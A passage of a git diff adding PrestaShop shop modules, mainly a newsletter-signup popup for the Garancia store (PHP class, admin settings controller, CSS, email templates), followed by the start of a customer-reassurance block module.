+$_MODULE['<{blockpermanentlinks}prestashop>blockpermanentlinks_bbaff12800505b22a853e8b7f4eb6a22'] = 'contact'; +$_MODULE['<{blockpermanentlinks}prestashop>blockpermanentlinks_2d29fbe96aaeb9737b355192f4683690'] = 'Mettre cette page en favori'; diff --git a/modules/blockpermanentlinks/translations/index.php b/modules/blockpermanentlinks/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockpermanentlinks/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockpopupnewsletter/blockpopupnewsletter.php b/modules/blockpopupnewsletter/blockpopupnewsletter.php new file mode 100755 index 0000000..4b3c3d5 --- /dev/null +++ b/modules/blockpopupnewsletter/blockpopupnewsletter.php @@ -0,0 +1,344 @@ +name = 'blockpopupnewsletter'; + $this->tab = 'front_office_features'; + $this->version = '1.0'; + $this->author = 'Antadis'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Block Popup Newsletter'); + $this->description = $this->l('Show newsletter popup by condition'); + + $this->confirmUninstall = $this->l('Are you sure ?'); + + $this->context = Context::getContext(); + } + + public function install() + { + $this->createTab(); + + if ( !parent::install() + || !$this->registerHook('displayFooter') + ){ + $this->uninstall(); + $this->deleteTab(); + return false; + } + + Configuration::updateValue('BPM_rule_1_active', false); + Configuration::updateValue('BPM_rule_1_timer', 40); + + Configuration::updateValue('BPM_rule_2_active', false); + Configuration::updateValue('BPM_rule_2_timer', 20); + + Configuration::updateValue('BPM_rule_3_active', false); + Configuration::updateValue('BPM_rule_3_timer', 60 * 2); + + return true; + } + + public function uninstall() + { + if (!parent::uninstall()) + { + return false; + } + + $this->deleteTab(); + + Configuration::deleteByName('BPM_rule_1_active'); + Configuration::deleteByName('BPM_rule_1_timer'); + + Configuration::deleteByName('BPM_rule_2_active'); + Configuration::deleteByName('BPM_rule_2_timer'); + + Configuration::deleteByName('BPM_rule_3_active'); + Configuration::deleteByName('BPM_rule_3_timer'); + + return true; + } + + public function createTab() + { + $langs = Language::getLanguages(); + $idLang = (int) Configuration::get('PS_LANG_DEFAULT'); + + $tabs_i18n = array( + 'fr' => array( + 'Block Popup Newsletter' + ), + 'en' => array( + 'Block Popup Newsletter' + ) + ); + + $tab = new Tab(); + $tab->class_name = 'AdminBlockPopupNewsletterConfiguration'; + $tab->module = 'blockpopupnewsletter'; + $tab->id_parent = 16; + $tab->position = 5; + + foreach ($langs as $lang) + { + if (isset($tabs_i18n[$lang['iso_code']])) + { + $tab->name[$lang['id_lang']] = $tabs_i18n[$lang['iso_code']][0]; + } + else + { + $tab->name[$lang['id_lang']] = $tabs_i18n['en'][0]; + } + } + + $tab->save(); + } + + public function deleteTab() + { + if ($id_tab = Tab::getIdFromClassName('AdminBlockPopupNewsletterConfiguration')) + { + $tab = new Tab((int) $id_tab); + + $tab->delete(); + } + } + + public function hookdisplayFooter($params) { + if ($this->context->getMobileDevice() == false){ + if (Tools::getValue('email_popup')) + { + $this->addInNewsletter(Tools::getValue('email_popup')); + } + + if (!$this->isLogged() && !$this->isOnNewsletterTable() && !$this->hasClosePopup()) + { + $content = ''; + + if ($this->checkRule2()) + { + $content = $this->showPopup(Configuration::get('BPM_rule_2_timer')); + } + elseif ($this->checkRule1() || $this->checkRule3()) + { + $content = $this->showPopup(); + } + + return $content; + } + } + } + + protected function addInNewsletter($email) + { + if (Validate::isEmail($email) && !$this->isNewsletterRegistered($email)) + { + $sql = 'INSERT INTO ' . _DB_PREFIX_ . 'newsletter (id_shop, id_shop_group, email, newsletter_date_add, ip_registration_newsletter, http_referer, active, id_lang) + VALUES + ( + ' . $this->context->shop->id . ', + ' . $this->context->shop->id_shop_group . ', + "' . pSQL($email) . '", + NOW(), + "' . pSQL(Tools::getRemoteAddr()) . '", + "' . pSQL($_SERVER['HTTP_REFERER']) . '", + 1, + ' . $this->context->language->id . ' + ) + '; + + DB::getInstance()->execute($sql); + + // syncro mailchimp + $MailchimpSync = new MailchimpSync(); + $MailchimpSync->registerPopup($email, array('optin_ip' => Tools::getRemoteAddr())); + + Mail::Send($this->context->language->id, 'newsletter_conf', Mail::l('Inscription Newsletter', $this->context->language->id), array('{discount}' => $code), $email, null, null, null, null, null, dirname(__FILE__).'/mails/'); + } + } + + private function isNewsletterRegistered($customerEmail) + { + $sql = 'SELECT `email` + FROM '._DB_PREFIX_.'newsletter + WHERE `email` = \''.pSQL($customerEmail).'\' + AND id_shop = '.$this->context->shop->id; + + if (Db::getInstance()->getRow($sql)) + return true; + + $sql = 'SELECT `newsletter` + FROM '._DB_PREFIX_.'customer + WHERE `email` = \''.pSQL($customerEmail).'\' + AND id_shop = '.$this->context->shop->id; + + if (!$registered = Db::getInstance()->getRow($sql)) + return false; + + if ($registered['newsletter'] == '1') + return true; + + return false; + } + + protected function checkRule1() + { + if (Configuration::get('BPM_rule_1_active')) + { + if (!$this->hasSessionCookie('RULE_1')) + { + $this->createSessionCookie('RULE_1', time()); + } + + if ($this->isHerFirstVisits() && + $this->checkCookieTimer( + 'RULE_1', + Configuration::get('BPM_rule_1_timer') + ) + ) + { + return true; + } + } + + return false; + } + + protected function checkRule2() + { + if (Configuration::get('BPM_rule_2_active')) + { + if ($this->isAnProductPage()) + { + return true; + } + } + + return false; + } + + protected function checkRule3() + { + if (Configuration::get('BPM_rule_3_active')) + { + if (!$this->hasSessionCookie('RULE_3')) + { + $this->createSessionCookie('RULE_3', time()); + } + + if (!$this->cartIsEmpty() && + $this->checkCookieTimer( + 'RULE_3', + Configuration::get('BPM_rule_3_timer') + ) + ){ + + return true; + } + } + + return false; + } + + protected function checkCookieTimer($cookieName, $timer) + { + $cookieTime = $this->getSessionCookie($cookieName); + + if ($cookieTime == null) { + return false; + } + + return time() > $cookieTime + $timer; + } + + protected function showPopup($timer = 1) + { + $this->setPopupIsClosed(); + + $this->context->controller->addCSS(($this->_path).'css/blockpopupnewsletter.css', 'all'); + + $this->context->smarty->assign(array( + 'BPM_show_popup_time' => $timer * 1000 + )); + + return $this->display(__FILE__, 'popup.tpl');; + } + + protected function setPopupIsClosed() + { + $this->createSessionCookie('BPM_CLOSE_POPUP', true); + } + + protected function hasClosePopup() + { + return $this->hasSessionCookie('BPM_CLOSE_POPUP'); + } + + protected function isLogged() + { + return $this->context->customer->isLogged(); + } + + protected function isOnNewsletterTable() + { + $total = Db::getInstance()->getRow(' + SELECT COUNT(*) `total` + FROM `' . _DB_PREFIX_ . 'newsletter` + WHERE `ip_registration_newsletter` = "' . pSQL(Tools::getRemoteAddr()) . '" + '); + + if (!empty($total)) + { + return (bool) $total['total']; + } + + return false; + } + + protected function isHerFirstVisits() + { + return true; + } + + protected function isAnProductPage() + { + return Dispatcher::getInstance()->getController() == 'product'; + } + + protected function cartIsEmpty() + { + return !$this->context->cart->nbProducts(); + } + + private function createSessionCookie($name, $value) + { + setcookie($this->getCookieName($name), $value); + } + + private function hasSessionCookie($name) + { + return isset($_COOKIE[$this->getCookieName($name)]); + } + + private function getSessionCookie($name) + { + return $_COOKIE[$this->getCookieName($name)]; + } + + private function getCookieName($name) + { + return sha1($name); + } + +} \ No newline at end of file diff --git a/modules/blockpopupnewsletter/controllers/admin/AdminBlockPopupNewsletterConfiguration.php b/modules/blockpopupnewsletter/controllers/admin/AdminBlockPopupNewsletterConfiguration.php new file mode 100755 index 0000000..2115e90 --- /dev/null +++ b/modules/blockpopupnewsletter/controllers/admin/AdminBlockPopupNewsletterConfiguration.php @@ -0,0 +1,133 @@ +context = Context::getContext(); + $this->className = 'Configuration'; + $this->table = 'configuration'; + $this->bootstrap = true; + + $fields = array( + 'general' => array( + 'BPM_rule_1_active' => array( + 'title' => $this->l('Activate the first rule'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'default' => Configuration::get('BPM_rule_1_active') + ), + 'BPM_rule_1_timer' => array( + 'title' => $this->l('Time before launch the first rule'), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'text', + 'default' => Configuration::get('BPM_rule_1_timer') + ), + 'BPM_rule_2_active' => array( + 'title' => $this->l('Activate the second rule'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'default' => Configuration::get('BPM_rule_2_active') + ), + 'BPM_rule_2_timer' => array( + 'title' => $this->l('Time before launch the second rule'), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'text', + 'default' => Configuration::get('BPM_rule_2_timer') + ), + 'BPM_rule_3_active' => array( + 'title' => $this->l('Activate the third rule'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'default' => Configuration::get('BPM_rule_3_active') + ), + 'BPM_rule_3_timer' => array( + 'title' => $this->l('Time before launch the third rule'), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'text', + 'default' => Configuration::get('BPM_rule_3_timer') + ), + ) + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('General'), + 'icon' => 'tab-preferences', + 'fields' => $fields['general'], + 'submit' => array('title' => $this->l(' Save ')), + ) + ); + + parent::__construct(); + } + + /*** HACK TRADUCTION ***/ + + public static $l_cache; + + protected function l($string, $class = 'AdminTab', $addslashes = FALSE, $htmlentities = TRUE) + { + // need to be called in order to populate $classInModule + $str = self::findTranslation('blockpopupnewsletter', $string, 'AdminBlockPopupNewsletterConfiguration'); + $str = $htmlentities ? htmlentities($str, ENT_QUOTES, 'utf-8') : $str; + return str_replace('"', '"', ($addslashes ? addslashes($str) : stripslashes($str))); + } + + /** + * findTranslation (initially in Module class), to make translations works + * + * @param string $name module name + * @param string $string string to translate + * @param string $source current class + * @return string translated string + */ + public static function findTranslation($name, $string, $source) + { + static $_MODULES; + if (!is_array($_MODULES)) + { + // note: $_COOKIE[iso_code] is set in createCustomToken(); + $file = _PS_MODULE_DIR_.'blockpopupnewsletter/translations/'.Configuration::get('PS_LOCALE_LANGUAGE').'.php'; + if (file_exists($file) && include($file)) + $_MODULES = !empty($_MODULES)?array_merge($_MODULES, $_MODULE):$_MODULE; + } + $cache_key = $name.'|'.$string.'|'.$source; + + if (!isset(self::$l_cache[$cache_key])) + { + if (!is_array($_MODULES)) + return $string; + // set array key to lowercase for 1.3 compatibility + $_MODULES = array_change_key_case($_MODULES); + if (defined('_THEME_NAME_')) + $currentKey = '<{'.strtolower($name).'}'.strtolower(_THEME_NAME_).'>'.strtolower($source).'_'.md5($string); + else + $currentKey = '<{'.strtolower($name).'}default>'.strtolower($source).'_'.md5($string); + // note : we should use a variable to define the default theme (instead of "prestashop") + $defaultKey = '<{'.strtolower($name).'}prestashop>'.strtolower($source).'_'.md5($string); + $currentKey = $defaultKey; + + if (isset($_MODULES[$currentKey])) + $ret = stripslashes($_MODULES[$currentKey]); + elseif (isset($_MODULES[strtolower($currentKey)])) + $ret = stripslashes($_MODULES[strtolower($currentKey)]); + elseif (isset($_MODULES[$defaultKey])) + $ret = stripslashes($_MODULES[$defaultKey]); + elseif (isset($_MODULES[strtolower($defaultKey)])) + $ret = stripslashes($_MODULES[strtolower($defaultKey)]); + else + $ret = stripslashes($string); + + self::$l_cache[$cache_key] = $ret; + } + return self::$l_cache[$cache_key]; + } + +} \ No newline at end of file diff --git a/modules/blockpopupnewsletter/css/blockpopupnewsletter.css b/modules/blockpopupnewsletter/css/blockpopupnewsletter.css new file mode 100755 index 0000000..f84c3ab --- /dev/null +++ b/modules/blockpopupnewsletter/css/blockpopupnewsletter.css @@ -0,0 +1,102 @@ +.blockpopupnewsletter *, +.blockpopupnewsletter *:before, +.blockpopupnewsletter:after , +.blockpopupnewsletter, +.blockpopupnewsletter:before, +.blockpopupnewsletter:after { + box-sizing: border-box; +} + +#fancybox-wrap .blockpopupnewsletter { + background: url('../images/blockpopupnewsletter.png') no-repeat center center; + width: 600px; + height: 440px; + padding: 25px 109px 20px; + position: relative; + -moz-box-shadow: 0px 0px 1000px 50px #FFFFFF; + -webkit-box-shadow: 0px 0px 1000px 50px #FFFFFF; + -o-box-shadow: 0px 0px 1000px 50px #FFFFFF; + box-shadow: 0px 0px 1000px 50px #FFFFFF; + filter:progid:DXImageTransform.Microsoft.Shadow(color=#FFFFFF, Direction=NaN, Strength=1000); + text-align: center; +} + +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text h2{ + color: #00000f; + font-family: "Times New Roman"; + font-size: 32px; + text-transform: uppercase; + font-weight: normal; + margin: 0 0 20px; + padding: 0 0 8px; + line-height: 40px; +} +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text p, +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text ul li{ + color: #00000f; + font-size: 15px; +} +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text p{ + padding : 0 0 17px; +} +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text ul { + text-align : left; + margin: 0 0 18px; +} +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text ul li{ + background: url('../images/puce.png') no-repeat 12px center; + display: block; + border: 0; + height: inherit; + margin: 0 0 12px; + padding: 2px 0 2px 36px; +} + +#fancybox-wrap .blockpopupnewsletter form{ + margin : 0 0 17px; +} +#fancybox-wrap .blockpopupnewsletter form input { + display: inline-block; + padding: 0 20px; + border: 1px solid black; + background: white; + color: #a5a5a5; + font-size: 16px; + width: 265px; + height: 40px; +} +#fancybox-wrap .blockpopupnewsletter form button { + display: inline-block; + background: #b9da1a; + border: none; + border-radius: 0; + padding: 0 20px; + font-weight: normal; + text-transform: none; + font-size: 15px; + height: 40px; + width: 265px; + text-align: left; + margin-top: 10px; +} +#fancybox-wrap .blockpopupnewsletter form button img { + float: right; + margin-top: 4px; +} + +#fancybox-wrap .blockpopupnewsletter-footer{ + color: #00000f; + font-size: 11px; + line-height: 18px; + padding: 0 32px; +} + +#fancybox-wrap .blockpopupnewsletter-close { + background: url('../images/close.png') no-repeat center center; + width: 33px; + height: 33px; + position: absolute; + cursor: pointer; + top: 0; + right: 0; +} \ No newline at end of file diff --git a/modules/blockpopupnewsletter/images/blockpopupnewsletter.jpg b/modules/blockpopupnewsletter/images/blockpopupnewsletter.jpg new file mode 100755 index 0000000..59b4e0f Binary files /dev/null and b/modules/blockpopupnewsletter/images/blockpopupnewsletter.jpg differ diff --git a/modules/blockpopupnewsletter/images/blockpopupnewsletter.png b/modules/blockpopupnewsletter/images/blockpopupnewsletter.png new file mode 100755 index 0000000..3c36398 Binary files /dev/null and b/modules/blockpopupnewsletter/images/blockpopupnewsletter.png differ diff --git a/modules/blockpopupnewsletter/images/close.jpg b/modules/blockpopupnewsletter/images/close.jpg new file mode 100755 index 0000000..96e0c5c Binary files /dev/null and b/modules/blockpopupnewsletter/images/close.jpg differ diff --git a/modules/blockpopupnewsletter/images/close.png b/modules/blockpopupnewsletter/images/close.png new file mode 100755 index 0000000..261974d Binary files /dev/null and b/modules/blockpopupnewsletter/images/close.png differ diff --git a/modules/blockpopupnewsletter/images/puce.png b/modules/blockpopupnewsletter/images/puce.png new file mode 100755 index 0000000..8b757d0 Binary files /dev/null and b/modules/blockpopupnewsletter/images/puce.png differ diff --git a/modules/blockpopupnewsletter/index.php b/modules/blockpopupnewsletter/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockpopupnewsletter/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockpopupnewsletter/logo.gif b/modules/blockpopupnewsletter/logo.gif new file mode 100755 index 0000000..12cd1ae Binary files /dev/null and b/modules/blockpopupnewsletter/logo.gif differ diff --git a/modules/blockpopupnewsletter/logo.png b/modules/blockpopupnewsletter/logo.png new file mode 100755 index 0000000..c6b7e8c Binary files /dev/null and b/modules/blockpopupnewsletter/logo.png differ diff --git a/modules/blockpopupnewsletter/mails/en/index.php b/modules/blockpopupnewsletter/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockpopupnewsletter/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockpopupnewsletter/mails/en/newsletter_conf.html b/modules/blockpopupnewsletter/mails/en/newsletter_conf.html new file mode 100755 index 0000000..625349c --- /dev/null +++ b/modules/blockpopupnewsletter/mails/en/newsletter_conf.html @@ -0,0 +1,29 @@ + + + + + Message from {shop_name} + + +
        + + {shop_name} + +

        Dear Customer, +
        +

        + Thank you for subscribing to our Newsletter !
        + You will be first to be informed of our new products, our special offers and our beauty advice. +

        +

        + To thank you for your subscription, we are happy to offer you free delivery and one miniature product on your first order, with the code WELCOME ! +

        + Magically Yours !
        +
        + Garancia Team
        +
        + + +
        + + \ No newline at end of file diff --git a/modules/blockpopupnewsletter/mails/en/newsletter_conf.txt b/modules/blockpopupnewsletter/mails/en/newsletter_conf.txt new file mode 100755 index 0000000..e49ee6f --- /dev/null +++ b/modules/blockpopupnewsletter/mails/en/newsletter_conf.txt @@ -0,0 +1,10 @@ +Dear Customer, + +Thank you for subscribing to our Newsletter ! +You will be first to be informed of our new products, our special offers and our beauty advice. + +To thank you for your subscription, we are happy to offer you free delivery and one miniature product on your first order, with the code WELCOME ! + +Magically Yours ! + +Garancia Team \ No newline at end of file diff --git a/modules/blockpopupnewsletter/mails/en/newsletter_verif.html b/modules/blockpopupnewsletter/mails/en/newsletter_verif.html new file mode 100755 index 0000000..a60d0c4 --- /dev/null +++ b/modules/blockpopupnewsletter/mails/en/newsletter_verif.html @@ -0,0 +1,12 @@ + + + + + Message de {shop_name} + + +
        {shop_name}

        Hi,

        Thank you for subscribing to our newsletter, please confirm your request by clicking the link below:
        {verif_url} +
        {shop_name} Powered by PrestaShop
        +
        + + \ No newline at end of file diff --git a/modules/blockpopupnewsletter/mails/en/newsletter_verif.txt b/modules/blockpopupnewsletter/mails/en/newsletter_verif.txt new file mode 100755 index 0000000..ba09f57 --- /dev/null +++ b/modules/blockpopupnewsletter/mails/en/newsletter_verif.txt @@ -0,0 +1,6 @@ +Hi, + +Thank you for subscribing to our newsletter, please confirm your request by clicking the link below: +{verif_url} + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/modules/blockpopupnewsletter/mails/en/newsletter_voucher.html b/modules/blockpopupnewsletter/mails/en/newsletter_voucher.html new file mode 100755 index 0000000..4f51e3a --- /dev/null +++ b/modules/blockpopupnewsletter/mails/en/newsletter_voucher.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi,
         
        Newsletter subscription
         
        Regarding your newsletter subscription, we are pleased to offer you the following voucher: {discount}
         
        {shop_name} powered by PrestaShop™
        + + \ No newline at end of file diff --git a/modules/blockpopupnewsletter/mails/en/newsletter_voucher.txt b/modules/blockpopupnewsletter/mails/en/newsletter_voucher.txt new file mode 100755 index 0000000..0119880 --- /dev/null +++ b/modules/blockpopupnewsletter/mails/en/newsletter_voucher.txt @@ -0,0 +1,9 @@ +Hi + +Regarding your newsletter subscription, we are pleased to offer you the following voucher: {discount} + +{shop_name} - {shop_url} + + + +{shop_url} Powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/modules/blockpopupnewsletter/views/templates/hook/popup.tpl b/modules/blockpopupnewsletter/views/templates/hook/popup.tpl new file mode 100755 index 0000000..ea590f0 --- /dev/null +++ b/modules/blockpopupnewsletter/views/templates/hook/popup.tpl @@ -0,0 +1,74 @@ +
        +
        +
        +

        {l s='Recevez toute la magie Garancia' mod='blockpopupnewsletter'}

        +

        {l s='Inscrivez-vous à la newsletter Garancia pour recevoir' mod='blockpopupnewsletter'}

        +
          +
        • {l s='Nos' mod='blockpopupnewsletter'} {l s='offres exclusives' mod='blockpopupnewsletter'}
        • +
        • {l s='Toutes nos' mod='blockpopupnewsletter'} {l s='nouvelles recettes magiques' mod='blockpopupnewsletter'}
        • +
        • {l s='Une' mod='blockpopupnewsletter'} {l s='offre spéciale sur votre 1ère commande !' mod='blockpopupnewsletter'}
        • +
        +
        +
        +
        + +
        +
        + +
        +
        + +
        + \ No newline at end of file diff --git a/modules/blockreinsurance/blockreinsurance.php b/modules/blockreinsurance/blockreinsurance.php new file mode 100755 index 0000000..873dd93 --- /dev/null +++ b/modules/blockreinsurance/blockreinsurance.php @@ -0,0 +1,363 @@ + +* @copyright 2007-2013 PrestaShop SA + +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_CAN_LOAD_FILES_')) + exit; + +include_once _PS_MODULE_DIR_.'blockreinsurance/reinsuranceClass.php'; + +class Blockreinsurance extends Module +{ + public function __construct() + { + $this->name = 'blockreinsurance'; + if (version_compare(_PS_VERSION_, '1.4.0.0') >= 0) + $this->tab = 'front_office_features'; + else + $this->tab = 'Blocks'; + $this->version = '2.0'; + + parent::__construct(); + + $this->displayName = $this->l('Customer reassurance block'); + $this->description = $this->l('Adds an information block aimed at offering helpful information to reassure customers that your store is trustworthy.'); + } + + public function install() + { + return parent::install() && + $this->installDB() && + Configuration::updateValue('blockreinsurance_nbblocks', 5) && + $this->registerHook('footer') && $this->installFixtures(); + } + + public function installDB() + { + $return = true; + $return &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'reinsurance` ( + `id_reinsurance` INT UNSIGNED NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL , + `file_name` VARCHAR(100) NOT NULL, + PRIMARY KEY (`id_reinsurance`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8 ;'); + + $return &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'reinsurance_lang` ( + `id_reinsurance` INT UNSIGNED NOT NULL AUTO_INCREMENT, + `id_lang` int(10) unsigned NOT NULL , + `text` VARCHAR(300) NOT NULL, + PRIMARY KEY (`id_reinsurance`, `id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8 ;'); + + return $return; + } + + public function uninstall() + { + // Delete configuration + return Configuration::deleteByName('blockreinsurance_nbblocks') && + $this->uninstallDB() && + parent::uninstall(); + } + + public function uninstallDB() + { + return Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'reinsurance`') && Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'reinsurance_lang`'); + } + + public function addToDB() + { + if (isset($_POST['nbblocks'])) + { + for ($i = 1; $i <= (int)$_POST['nbblocks']; $i++) + { + $filename = explode('.', $_FILES['info'.$i.'_file']['name']); + if (isset($_FILES['info'.$i.'_file']) && isset($_FILES['info'.$i.'_file']['tmp_name']) && !empty($_FILES['info'.$i.'_file']['tmp_name'])) + { + if ($error = ImageManager::validateUpload($_FILES['info'.$i.'_file'])) + return false; + elseif (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($_FILES['info'.$i.'_file']['tmp_name'], $tmpName)) + return false; + elseif (!ImageManager::resize($tmpName, dirname(__FILE__).'/img/'.$filename[0].'.jpg')) + return false; + unlink($tmpName); + } + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'reinsurance` (`filename`,`text`) + VALUES ("'.((isset($filename[0]) && $filename[0] != '') ? pSQL($filename[0]) : ''). + '", "'.((isset($_POST['info'.$i.'_text']) && $_POST['info'.$i.'_text'] != '') ? pSQL($_POST['info'.$i.'_text']) : '').'")'); + } + return true; + } else + return false; + } + + public function removeFromDB() + { + $dir = opendir(dirname(__FILE__).'/img'); + while (false !== ($file = readdir($dir))) + { + $path = dirname(__FILE__).'/img/'.$file; + if ($file != '..' && $file != '.' && !is_dir($file)) + unlink($path); + } + closedir($dir); + + return Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'reinsurance`'); + } + + public function getContent() + { + $html = ''; + $id_reinsurance = (int)Tools::getValue('id_reinsurance'); + + if (Tools::isSubmit('saveblockreinsurance')) + { + if ($id_reinsurance = Tools::getValue('id_reinsurance')) + $reinsurance = new reinsuranceClass((int)$id_reinsurance); + else + $reinsurance = new reinsuranceClass(); + $reinsurance->copyFromPost(); + $reinsurance->id_shop = $this->context->shop->id; + + if ($reinsurance->validateFields(false) && $reinsurance->validateFieldsLang(false)) + { + $reinsurance->save(); + if (isset($_FILES['image']) && isset($_FILES['image']['tmp_name']) && !empty($_FILES['image']['tmp_name'])) + { + if ($error = ImageManager::validateUpload($_FILES['image'])) + return false; + elseif (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($_FILES['image']['tmp_name'], $tmpName)) + return false; + elseif (!ImageManager::resize($tmpName, dirname(__FILE__).'/img/reinsurance-'.(int)$reinsurance->id.'-'.(int)$reinsurance->id_shop.'.jpg')) + return false; + unlink($tmpName); + $reinsurance->file_name = 'reinsurance-'.(int)$reinsurance->id.'-'.(int)$reinsurance->id_shop.'.jpg'; + $reinsurance->save(); + } + $this->_clearCache('blockreinsurance.tpl'); + } + else + $html .= '
        '.$this->l('An error occurred while attempting to save.').'
        '; + } + + if (Tools::isSubmit('updateblockreinsurance') || Tools::isSubmit('addblockreinsurance')) + { + $helper = $this->initForm(); + foreach (Language::getLanguages(false) as $lang) + if ($id_reinsurance) + { + $reinsurance = new reinsuranceClass((int)$id_reinsurance); + $helper->fields_value['text'][(int)$lang['id_lang']] = $reinsurance->text[(int)$lang['id_lang']]; + } + else + $helper->fields_value['text'][(int)$lang['id_lang']] = Tools::getValue('text_'.(int)$lang['id_lang'], ''); + if ($id_reinsurance = Tools::getValue('id_reinsurance')) + { + $this->fields_form[0]['form']['input'][] = array('type' => 'hidden', 'name' => 'id_reinsurance'); + $helper->fields_value['id_reinsurance'] = (int)$id_reinsurance; + } + + return $html.$helper->generateForm($this->fields_form); + } + else if (Tools::isSubmit('deleteblockreinsurance')) + { + $reinsurance = new reinsuranceClass((int)$id_reinsurance); + if (file_exists(dirname(__FILE__).'/img/'.$reinsurance->file_name)) + unlink(dirname(__FILE__).'/img/'.$reinsurance->file_name); + $reinsurance->delete(); + $this->_clearCache('blockreinsurance.tpl'); + Tools::redirectAdmin(AdminController::$currentIndex.'&configure='.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules')); + } + else + { + $helper = $this->initList(); + return $html.$helper->generateList($this->getListContent((int)Configuration::get('PS_LANG_DEFAULT')), $this->fields_list); + } + + if (isset($_POST['submitModule'])) + { + Configuration::updateValue('blockreinsurance_nbblocks', ((isset($_POST['nbblocks']) && $_POST['nbblocks'] != '') ? (int)$_POST['nbblocks'] : '')); + if ($this->removeFromDB() && $this->addToDB()) + { + $this->_clearCache('blockreinsurance.tpl'); + $output = '
        '.$this->l('The block configuration has been updated.').'
        '; + } + else + $output = '
        '.$this->l('An error occurred while attempting to save.').'
        '; + } + } + + protected function getListContent($id_lang) + { + return Db::getInstance()->executeS(' + SELECT r.`id_reinsurance`, r.`id_shop`, r.`file_name`, rl.`text` + FROM `'._DB_PREFIX_.'reinsurance` r + LEFT JOIN `'._DB_PREFIX_.'reinsurance_lang` rl ON (r.`id_reinsurance` = rl.`id_reinsurance`) + WHERE `id_lang` = '.(int)$id_lang.' '.Shop::addSqlRestrictionOnLang()); + } + + protected function initForm() + { + $default_lang = (int)Configuration::get('PS_LANG_DEFAULT'); + + $this->fields_form[0]['form'] = array( + 'legend' => array( + 'title' => $this->l('New reassurance block.'), + ), + 'input' => array( + array( + 'type' => 'file', + 'label' => $this->l('Image:'), + 'name' => 'image', + 'value' => true + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Text:'), + 'lang' => true, + 'name' => 'text', + 'cols' => 40, + 'rows' => 10 + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + $helper = new HelperForm(); + $helper->module = $this; + $helper->name_controller = 'blockreinsurance'; + $helper->identifier = $this->identifier; + $helper->token = Tools::getAdminTokenLite('AdminModules'); + foreach (Language::getLanguages(false) as $lang) + $helper->languages[] = array( + 'id_lang' => $lang['id_lang'], + 'iso_code' => $lang['iso_code'], + 'name' => $lang['name'], + 'is_default' => ($default_lang == $lang['id_lang'] ? 1 : 0) + ); + + $helper->currentIndex = AdminController::$currentIndex.'&configure='.$this->name; + $helper->default_form_language = $default_lang; + $helper->allow_employee_form_lang = $default_lang; + $helper->toolbar_scroll = true; + 